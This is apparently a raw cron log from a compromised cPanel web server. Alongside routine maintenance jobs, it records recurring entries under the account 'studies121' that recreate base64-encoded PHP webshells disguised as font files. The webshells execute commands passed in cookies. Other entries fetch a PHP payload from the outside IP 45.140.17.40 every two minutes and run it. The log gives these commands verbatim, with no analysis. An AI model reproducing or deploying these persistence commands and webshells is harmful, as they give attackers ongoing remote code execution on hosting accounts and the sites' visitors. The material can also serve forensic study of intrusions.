Sep 21 02:03:01 ip-184-168-122-23 CROND[11943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:03:01 ip-184-168-122-23 CROND[11947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:03:01 ip-184-168-122-23 CROND[11946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:03:01 ip-184-168-122-23 CROND[11945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:04:01 ip-184-168-122-23 CROND[12061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:04:01 ip-184-168-122-23 CROND[12063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:04:01 ip-184-168-122-23 CROND[12065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:04:01 ip-184-168-122-23 CROND[12064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:04:01 ip-184-168-122-23 CROND[12066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:05:01 ip-184-168-122-23 CROND[12215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:05:01 ip-184-168-122-23 CROND[12216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 02:05:01 ip-184-168-122-23 CROND[12220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:05:01 ip-184-168-122-23 CROND[12223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:05:01 ip-184-168-122-23 CROND[12221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:05:01 ip-184-168-122-23 CROND[12219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:05:01 ip-184-168-122-23 CROND[12222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:06:01 ip-184-168-122-23 CROND[12406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:06:01 ip-184-168-122-23 CROND[12408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:06:01 ip-184-168-122-23 CROND[12411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:06:01 ip-184-168-122-23 CROND[12410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:06:01 ip-184-168-122-23 CROND[12412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:07:01 ip-184-168-122-23 CROND[12514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:07:01 ip-184-168-122-23 CROND[12518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:07:01 ip-184-168-122-23 CROND[12517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:07:01 ip-184-168-122-23 CROND[12516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:08:01 ip-184-168-122-23 CROND[12611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:08:01 ip-184-168-122-23 CROND[12613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:08:01 ip-184-168-122-23 CROND[12615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:08:01 ip-184-168-122-23 CROND[12614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:08:01 ip-184-168-122-23 CROND[12616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:09:01 ip-184-168-122-23 CROND[12701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:09:01 ip-184-168-122-23 CROND[12703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:09:01 ip-184-168-122-23 CROND[12706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:09:01 ip-184-168-122-23 CROND[12707]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 02:09:01 ip-184-168-122-23 CROND[12702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:10:01 ip-184-168-122-23 CROND[12819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:10:01 ip-184-168-122-23 CROND[12820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:10:01 ip-184-168-122-23 CROND[12822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:10:01 ip-184-168-122-23 CROND[12824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 02:10:01 ip-184-168-122-23 CROND[12825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:10:01 ip-184-168-122-23 CROND[12828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:10:01 ip-184-168-122-23 CROND[12829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:10:01 ip-184-168-122-23 CROND[12830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:11:01 ip-184-168-122-23 CROND[12915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:11:01 ip-184-168-122-23 CROND[12918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:11:01 ip-184-168-122-23 CROND[12916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:11:01 ip-184-168-122-23 CROND[12917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:12:01 ip-184-168-122-23 CROND[13001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:12:01 ip-184-168-122-23 CROND[13004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:12:01 ip-184-168-122-23 CROND[13006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:12:01 ip-184-168-122-23 CROND[13007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:12:01 ip-184-168-122-23 CROND[13005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:13:01 ip-184-168-122-23 CROND[13172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:13:01 ip-184-168-122-23 CROND[13174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:13:01 ip-184-168-122-23 CROND[13175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:13:01 ip-184-168-122-23 CROND[13177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:14:01 ip-184-168-122-23 CROND[13250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:14:01 ip-184-168-122-23 CROND[13254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:14:01 ip-184-168-122-23 CROND[13255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:14:01 ip-184-168-122-23 CROND[13252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:14:01 ip-184-168-122-23 CROND[13253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:15:01 ip-184-168-122-23 CROND[13351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:15:01 ip-184-168-122-23 CROND[13354]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 02:15:01 ip-184-168-122-23 CROND[13355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:15:01 ip-184-168-122-23 CROND[13356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
